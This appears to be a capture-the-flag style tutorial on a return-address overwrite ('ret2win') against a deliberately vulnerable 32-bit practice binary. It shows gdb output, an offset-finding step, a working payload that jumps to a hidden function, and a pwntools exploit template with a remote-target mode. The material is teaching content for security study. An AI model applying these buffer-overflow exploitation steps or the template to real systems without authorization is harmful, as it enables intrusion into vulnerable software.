Nice work, the learning curve is starting to get higher as we move along. This next challenge is moving away from overwritng variables and is now overwriting the stack, more specifically, return addresses. Simply put, when a function, say main
calls another funtion like do_input()
from our last example, the return address of main
is pushed onto the stack. This way, when do_input()
is finished executing, it will see the address on the stack and return execution to that address which would be the next line in main
after the function call.
What if we can change this return address so the execution will return to a function of our choice? That is exactly what we are going to do here.
In our directory we have exploit.py ropstar.py ret2win ret2win.c
. Lets run ret2win
$ chmod +x ret2win
$ ./ret2win
Name:
test
Hi there, test
This is a very simple greeting program. Lets try to seg fault it
$ ./ret2win
Name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi there, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
zsh: segmentation fault ./ret2win
Sweet. Its always good when we can seg fault a program. Lets look at the binary
$ file ret2win
ret2win: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5978b724ef3c617522fe2a86c281910b02480b0e, for GNU/Linux 3.2.0, not stripped
$ checksec --file=ret2win
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 ret2win
Cool, nothing glaring coming out here that we need to watch out for. Lets crack open ghidra. We see we have 3 function: main register_name hacked
. Presumably, hacked
is where we will want to direct execution to. Lets check out each function
main:
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
undefined4 main(void)
{
register_name();
return 0;
}
Very boring...
register_name:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void register_name(void)
{
undefined nameBuffer [20];
puts("Name:");
__isoc99_scanf(&DAT_0804a048,nameBuffer);
printf("Hi there, %s\n",nameBuffer);
return;
}
More interesting. This looks like where we will overflow something ;)
Hacked:
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
void hacked(void)
{
puts("This function is TOP SECRET! How did you get in here?! :O");
return;
}
And this is what we want to print. Cool, lets get started.
First, we want to find where our input is being stored in the program and on the stack. Lets get a cyclic pattern of 100
$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Lets start up gdb and set a breakpoint at the return instruction of register_name
gef➤ disas register_name
Dump of assembler code for function register_name:
0x080491ad <+0>: push ebp
0x080491ae <+1>: mov ebp,esp
0x080491b0 <+3>: push ebx
0x080491b1 <+4>: sub esp,0x14
0x080491b4 <+7>: call 0x80490c0 <__x86.get_pc_thunk.bx>
0x080491b9 <+12>: add ebx,0x2e47
0x080491bf <+18>: sub esp,0xc
0x080491c2 <+21>: lea eax,[ebx-0x1fbe]
0x080491c8 <+27>: push eax
0x080491c9 <+28>: call 0x8049040 <puts@plt>
0x080491ce <+33>: add esp,0x10
0x080491d1 <+36>: sub esp,0x8
0x080491d4 <+39>: lea eax,[ebp-0x18]
0x080491d7 <+42>: push eax
0x080491d8 <+43>: lea eax,[ebx-0x1fb8]
0x080491de <+49>: push eax
0x080491df <+50>: call 0x8049060 <__isoc99_scanf@plt>
0x080491e4 <+55>: add esp,0x10
0x080491e7 <+58>: sub esp,0x8
0x080491ea <+61>: lea eax,[ebp-0x18]
0x080491ed <+64>: push eax
0x080491ee <+65>: lea eax,[ebx-0x1fb5]
0x080491f4 <+71>: push eax
0x080491f5 <+72>: call 0x8049030 <printf@plt>
0x080491fa <+77>: add esp,0x10
0x080491fd <+80>: nop
0x080491fe <+81>: mov ebx,DWORD PTR [ebp-0x4]
0x08049201 <+84>: leave
0x08049202 <+85>: ret
End of assembler dump.
gef➤ b *0x08049202
Breakpoint 1 at 0x8049202
gef➤
We want to set a break point at the return function becuase then we will be able to see where the function is returning to. Right before that instruction is executed, the return address is loaded and then called by ret
. When we pass in our cyclic patter, we will see which bytes line up in the return address slot.
Lets run the program with out cyclic pattern
gef➤ r
Starting program: /home/vagrant/Desktop/practice/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Name:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 1, 0x08049202 in register_name ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x6f
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0xf7fc2540 → 0xf7fc2540 → [loop detected]
$esp : 0xffffcfbc → "haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x8049230 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x8049202 → <register_name+85> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfbc│+0x0000: "haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata[...]" ← $esp
0xffffcfc0│+0x0004: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
0xffffcfc4│+0x0008: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffcfc8│+0x000c: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffcfcc│+0x0010: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffcfd0│+0x0014: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffcfd4│+0x0018: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfd8│+0x001c: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491ff <register_name+82> pop ebp
0x8049200 <register_name+83> cld
0x8049201 <register_name+84> leave
→ 0x8049202 <register_name+85> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x8049202 in register_name (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049202 → register_name()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x6f
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0xf7fc2540 → 0xf7fc2540 → [loop detected]
$esp : 0xffffcfbc → "haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x8049230 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x8049202 → <register_name+85> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfbc│+0x0000: "haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata[...]" ← $esp
0xffffcfc0│+0x0004: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
0xffffcfc4│+0x0008: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffcfc8│+0x000c: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffcfcc│+0x0010: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffcfd0│+0x0014: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffcfd4│+0x0018: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfd8│+0x001c: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491ff <register_name+82> pop ebp
0x8049200 <register_name+83> cld
0x8049201 <register_name+84> leave
→ 0x8049202 <register_name+85> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x8049202 in register_name (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049202 → register_name()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Here, we are interested in the eip
register. This is the 'instruction pointer' and points to our current instruction. Here, we can see that it is pointing at our ret
instruction in the register_name()
function. Run the command ni
to move forward one instruction
gef➤ ni
0x61616168 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x6f
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0xf7fc2540 → 0xf7fc2540 → [loop detected]
$esp : 0xffffcfc0 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x8049230 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfc0│+0x0000: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" ← $esp
0xffffcfc4│+0x0004: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffcfc8│+0x0008: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffcfcc│+0x000c: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffcfd0│+0x0010: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffcfd4│+0x0014: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfd8│+0x0018: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfdc│+0x001c: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x61616168 in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x6f
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0xf7fc2540 → 0xf7fc2540 → [loop detected]
$esp : 0xffffcfc0 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x8049230 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfc0│+0x0000: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" ← $esp
0xffffcfc4│+0x0004: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffcfc8│+0x0008: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffcfcc│+0x000c: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffcfd0│+0x0010: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffcfd4│+0x0014: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfd8│+0x0018: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffcfdc│+0x001c: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x61616168 in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
We see that eip
has now changed and contains the value "haaa". We also see in the code window that it "Cannot access memory at address 0x61616168" which is hex ascii for "haaa"
This tells us that the "haaa" portion of our input is what will populate the return address section. Lets see how many bytes that is
$ pwn cyclic -l haaa
28
This tells us we need 28 bytes before our payload. We can set that up with our python command
python2 -c 'print "a" * 28 + "payloadHere"' > myPayload
Now, we just need to figure out our payload. We want the return address of the register_name()
function to be the starting address of our hacked()
function. To get this, open gdb and run info functions
.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 puts@plt
0x08049050 __libc_start_main@plt
0x08049060 __isoc99_scanf@plt
0x08049070 _start
0x080490b0 _dl_relocate_static_pie
0x080490c0 __x86.get_pc_thunk.bx
0x080490d0 deregister_tm_clones
0x08049110 register_tm_clones
0x08049150 __do_global_dtors_aux
0x08049180 frame_dummy
0x08049182 hacked
0x080491ad register_name
0x08049203 main
0x0804921f __x86.get_pc_thunk.ax
0x08049230 __libc_csu_init
0x08049290 __libc_csu_fini
0x08049291 __x86.get_pc_thunk.bp
0x08049298 _fini
gef➤
We see that the address of hacked()
is 0x08049182
. Now we just need to insert that into our payload in little endian form
python2 -c 'print "a" * 28 + "\x82\x91\x04\x08"' > myPayload
Now we can check by passing this into the stdin
of the program
$ ./ret2win < myPayload
Name:
Hi there, aaaaaaaaaaaaaaaaaaaaaaaaaaaa��
This function is TOP SECRET! How did you get in here?! :O
zsh: segmentation fault ./ret2win < myPayload
Awesome! We were able to overwrite the return address and get the execution to return to our hacked()
function! Nice work!
For some additional practice, we can write a python script to do most of the heavy lifting for us. There is some standard boiler plate code that you can generate by running
$pwn template
Which will generate the following python script
from pwn import *
# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './path/to/binary'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
io.interactive()
This is a pretty good place to start but I like to keep the following python script as my go to boiler plate as it has exactly what I like in it
from pwn import *
# Allows easy swapping betwen local/remote/debug modes
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # (./exe < payload REMOTE ip port)
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# This is for finding the offset automatically, does not work if the binary is owned by root and youre not root
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) #32-bit
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) #64-bit
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './ret2win_params'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start
offset = find_ip(cyclic(200))
payload = flat ({
offset: [
#stuff in payload
]
})
write("payload", payload)
io.sendlineafter(b':', payload)
io.interactive()
This has a lot going on but I will explain the important parts.
The first block just allows you to run python script REMOTE ip port
so you can run your payload against a remote server rather than a local binary like we have been doing.
The next block after that is a function to find the offset of $eip
in 32-bit or $rip
in 64-bit. There is a line commented out in it that you need to uncomment depending on whether your binary is 32 or 64 bit. Make sure you are using the right one or you will drive yourself crazy trying to debug your code.
The next block is simply setting up your gdb preferences so you can run python script GDB
and have it open gdb the way you want.
The last block before the big comment is setting up the binary file (make sure to change that as well) in the exe
variable. The next line allows the script to know whether the binary is 32 or 64 bit which means you can write the 64-bit address 0x00000000008048090
as 0x804090
and it will convert it to the correct version. The last line is simply the level of output you want in your script, with 'error'
being the least output and 'debug'
being the highest.
Now we can move on to the actual exploit. io = start()
is starting the program from the exe
variable.
offset = find_ip(cyclic(200))
is calling that find_ip()
function with our cyclic string and storing the offset (as an int) into offset
. No more reading through lines and lines of gdb byte code.
payload
is where we can construct our custom paylaod. Note that the format of this payload changes based on what you are putting into it so it will not always look like this.
Next, we are simply writing our payload to a file called payload
.
io.sendlineafter()
tells the script to wait until it sees a certain character, and then once it does, send our payload. In our case, the program asks Name:
so our character of choice is :
.
Lastly, io.interactive()
specifies the state that you want to be in once the script and program execute. For this example, it doesnt really matter, but once we get to level05
and start getting interactive shells, this becomes important.